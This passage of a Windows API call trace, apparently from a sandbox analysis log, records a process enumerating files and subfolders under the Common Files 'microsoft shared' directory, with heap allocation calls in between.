ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.566] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.566] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0214.566] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0214.566] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0214.570] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0214.570] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0214.570] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0214.570] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0214.570] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0214.571] GetProcessHeap () returned 0xc10000 [0214.571] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.572] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0214.572] GetProcessHeap () returned 0xc10000 [0214.572] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.572] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.572] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.572] GetProcessHeap () returned 0xc10000 [0214.572] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.573] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.573] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.573] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0214.573] GetProcessHeap () returned 0xc10000 [0214.573] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.573] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0214.573] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0214.573] GetProcessHeap () returned 0xc10000 [0214.573] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.574] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0214.575] GetProcessHeap () returned 0xc10000 [0214.575] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0214.576] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.576] GetProcessHeap () returned 0xc10000 [0214.576] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0214.576] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.576] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0214.576] GetProcessHeap () returned 0xc10000 [0214.576] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0214.576] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0214.577] GetProcessHeap () returned 0xc10000 [0214.577] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.577] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0214.577] GetProcessHeap () returned 0xc10000 [0214.577] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.579] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.579] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, 